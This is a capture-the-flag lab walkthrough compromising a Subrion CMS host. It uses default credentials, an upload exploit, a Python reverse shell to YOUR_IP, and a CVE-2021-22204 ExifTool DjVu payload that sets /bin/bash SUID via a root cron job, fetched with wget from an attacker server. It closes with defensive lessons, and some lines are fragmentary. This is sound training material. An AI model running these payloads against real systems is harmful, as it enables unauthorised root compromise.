Nmap scan reveals SSH and Apache on Ubuntu. The HTTP redirect to http://exfiltrated.offsec/ indicates virtual hosting is active — without adding this domain to /etc/hosts the webserver returns no content.
nmap -A -oN nmap.txt 192.168.144.163
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 80/tcp open http Apache httpd 2.4.41 | http-robots.txt: 7 disallowed entries: /backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/
echo "192.168.144.163 exfiltrated.offsec" >> /etc/hosts. The robots.txt leaks the admin panel location (/panel/) and potential cron interface.Visiting /panel/ reveals the CMS: Subrion CMS v4.2.1 — a version vulnerable to arbitrary file upload.
Subrion 4.2.1 allows authenticated attackers to upload a malicious PHP file by bypassing the file type filter. Default credentials admin:admin work on the panel.
searchsploit -m php/webapps/49876.py python3 49876.py -u http://exfiltrated.offsec/panel/ --user admin --pass admin
[+] Login Successful! [+] Upload Success ... Webshell path: http://exfiltrated.offsec/panel/uploads/mlrkjyieefcmwop
After confirming python3 exists, upgrade to a reverse shell:
nc -nvlp 4444
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
www-data. Stabilize with python3 -c 'import pty;pty.spawn("/bin/bash")' + stty raw -echo; fg.cat /etc/crontab
* * * * * root bash /opt/image-exif.sh
cat /opt/image-exif.sh
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
done
Every minute, root scans any .jpg file inside the CMS uploads directory (which www-data can write to) and runs exiftool on it. The ExifTool version installed is vulnerable to CVE-2021-22204 — a DjVu annotation injection leading to arbitrary command execution.
The DjVu parser unsafely evaluates a string after partial sanitization. By injecting \c$(...command...) inside the ANTz chunk, we get root execution. Payload sets SUID on /bin/bash.
echo '(metadata "\c${system('chmod +s /bin/bash')};")' > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
cp exploit.djvu exploit.jpg
bzz and djvumake are required (install djvulibre-bin). The .jpg extension bypasses the cron's filename filter; ExifTool processes the file based on magic bytes, triggering the DjVu parser.
# attacker: python3 -m http.server 8080 # on target (www-data): wget http://YOUR_IP:8080/exploit.jpg -O /var/www/html/subrion/uploads/exploit.jpg
/bin/bash permissions to SUID.ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash
/bin/bash -p
# whoami; id root uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)
The -p flag preserves the effective UID (root) instead of dropping to real UID. Full system compromise achieved.
cat /root/proof.txt
cat /home/www-data/local.txt
The DjVu parser in ExifTool uses eval qq{"$tok"} to process certain metadata. A regex attempts to escape $ and @, but the order of operations fails: escape sequences like \cA are expanded after the regex substitution. By providing \cA$(system('...')), the $ survives and the OS command executes. This is a classic injection via unsafe string interpolation.
.jpg but ExifTool follows the internal header. The cron script only filters by extension, not content — a defensive failure.Virtual hosting enumeration is non-negotiable. Nmap's HTTP redirect is a clear signal: add the domain to /etc/hosts or you'll miss the entire application.
robots.txt is a reconnaissance goldmine. Every disallowed path is an invitation to explore. The combination of /panel/ and /cron/ gave us both initial access and the privesc vector.
Cron jobs running as root are persistent and dangerous. If a scheduled task processes files from a writable directory, you can weaponize that trust. Always audit /etc/crontab, /etc/cron.d/, and user crontabs.
File extension filters are not security boundaries. The cron script only matched .jpg by name, but ExifTool parsed the actual format (DjVu). Content-based validation (magic bytes, strict parsing) is required to prevent this class of attack.
Tools: Nmap, searchsploit, Python reverse shell, bzz/djvumake, wget, netcat.
file --mime-type) before handing off to external utilities.